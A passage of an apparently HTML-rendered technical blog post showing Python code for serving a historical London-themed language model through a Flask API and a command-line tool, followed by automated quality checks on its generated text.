&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; data&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;prompt&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        max_length &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; data&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;max_length&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        temperature &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; data&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;temperature&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;0.3&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Generate text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        inputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;encode(prompt, return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;no_grad():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            outputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;generate(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                inputs,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                max_length&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;max_length,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                temperature&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;temperature,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                do_sample&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                pad_token_id&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;eos_token_id
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        generated_text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;decode(outputs[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;], skip_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; jsonify({
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;generated_text&amp;#39;&lt;/span&gt;: generated_text,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;prompt&amp;#39;&lt;/span&gt;: prompt,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;parameters&amp;#39;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;max_length&amp;#39;&lt;/span&gt;: max_length,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;temperature&amp;#39;&lt;/span&gt;: temperature
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        })
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8aadf4;font-weight:bold&#34;&gt;@app.route&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;/health&amp;#39;&lt;/span&gt;, methods&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;GET&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;health_check&lt;/span&gt;():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; jsonify({&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;status&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;healthy&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;model_loaded&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; app
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;setup_cli_deployment&lt;/span&gt;(model, tokenizer):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Set up command-line interface deployment&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;argparse&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;main&lt;/span&gt;():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        parser &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; argparse&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ArgumentParser(description&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Historical Language Model CLI&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        parser&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;add_argument(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;--prompt&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#91d7e3&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;, required&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;, help&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Text prompt&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        parser&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;add_argument(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;--max_length&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#91d7e3&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt;, default&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;, help&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Maximum length&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        parser&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;add_argument(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;--temperature&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#91d7e3&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;float&lt;/span&gt;, default&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0.3&lt;/span&gt;, help&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Temperature&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        parser&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;add_argument(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;--interactive&amp;#39;&lt;/span&gt;, action&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;store_true&amp;#39;&lt;/span&gt;, help&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Interactive mode&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        args &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; parser&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;parse_args()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; args&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;interactive:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            run_interactive_mode(model, tokenizer)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            generate_and_print(model, tokenizer, args&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;prompt, args&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;max_length, args&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;temperature)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; main&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 13: Local Deployment Setup&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Local deployment options: REST API, CLI, or notebook integration for different workflows.&lt;/p&gt;
&lt;h2 id=&#34;6-quality-assurance-and-validation&#34;&gt;6. Quality Assurance and Validation&lt;/h2&gt;
&lt;p&gt;Before wrapping up, let&amp;rsquo;s look at the quality assurance systems that ensure the models behave reliably across different scenarios.&lt;/p&gt;
&lt;h3 id=&#34;61-automated-quality-checks&#34;&gt;6.1 Automated Quality Checks&lt;/h3&gt;
&lt;p&gt;The system includes automated quality checks that validate model performance and reliability: &lt;a href=&#34;#listing14&#34; class=&#34;listing-ref&#34;&gt;Listing 14&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&#34;listing14&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;run_quality_checks&lt;/span&gt;(model, tokenizer, device&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;cuda&amp;#39;&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Run quality checks on historical language model&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quality_checks &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;model_integrity&amp;#39;&lt;/span&gt;: check_model_integrity(model),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;tokenizer_consistency&amp;#39;&lt;/span&gt;: check_tokenizer_consistency(tokenizer),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;generation_quality&amp;#39;&lt;/span&gt;: check_generation_quality(model, tokenizer, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;historical_accuracy&amp;#39;&lt;/span&gt;: check_historical_accuracy(model, tokenizer, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;performance_metrics&amp;#39;&lt;/span&gt;: check_performance_metrics(model, tokenizer, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;memory_usage&amp;#39;&lt;/span&gt;: check_memory_usage(model, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;error_handling&amp;#39;&lt;/span&gt;: check_error_handling(model, tokenizer, device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Generate quality report&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quality_report &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; generate_quality_report(quality_checks)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; quality_checks, quality_report
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;check_model_integrity&lt;/span&gt;(model):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Check model integrity and consistency&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    checks &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;parameter_count&amp;#39;&lt;/span&gt;: check_parameter_count(model),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;weight_distribution&amp;#39;&lt;/span&gt;: check_weight_distribution(model),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;gradient_flow&amp;#39;&lt;/span&gt;: check_gradient_flow(model),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;activation_patterns&amp;#39;&lt;/span&gt;: check_activation_patterns(model)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; checks
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;check_generation_quality&lt;/span&gt;(model, tokenizer, device):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Check quality of generated text&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    test_prompts &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year of our Lord 1750, London was&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;The Thames flowed through the heart of&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Merchants and tradesmen plied their wares&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;The Great Fire of 1666 had changed&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Parliament sat in Westminster, making laws&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quality_scores &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; test_prompts:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Generate text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        generated &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; generate_text(model, tokenizer, prompt, device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check quality metrics&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        quality_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;coherence&amp;#39;&lt;/span&gt;: assess_coherence(generated),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;grammatical_correctness&amp;#39;&lt;/span&gt;: assess_grammatical_correctness(generated),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;historical_accuracy&amp;#39;&lt;/span&gt;: assess_historical_accuracy(generated, {}),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;linguistic_quality&amp;#39;&lt;/span&gt;: assess_linguistic_quality(generated),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relevance&amp;#39;&lt;/span&gt;: assess_relevance(generated, prompt)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        quality_scores&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(quality_score)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; quality_scores&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 14: Quality Assurance Checks&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Quality checks cover model integrity, generation quality, historical accuracy, performance, and error handling, ensuring the models behave reliably across different scenarios.&lt;/p&gt;
&lt;h3 id=&#34;62-continuous-integration-and-testing&#34;&gt;6.2 Continuous Integration and Testing&lt;/h3&gt;
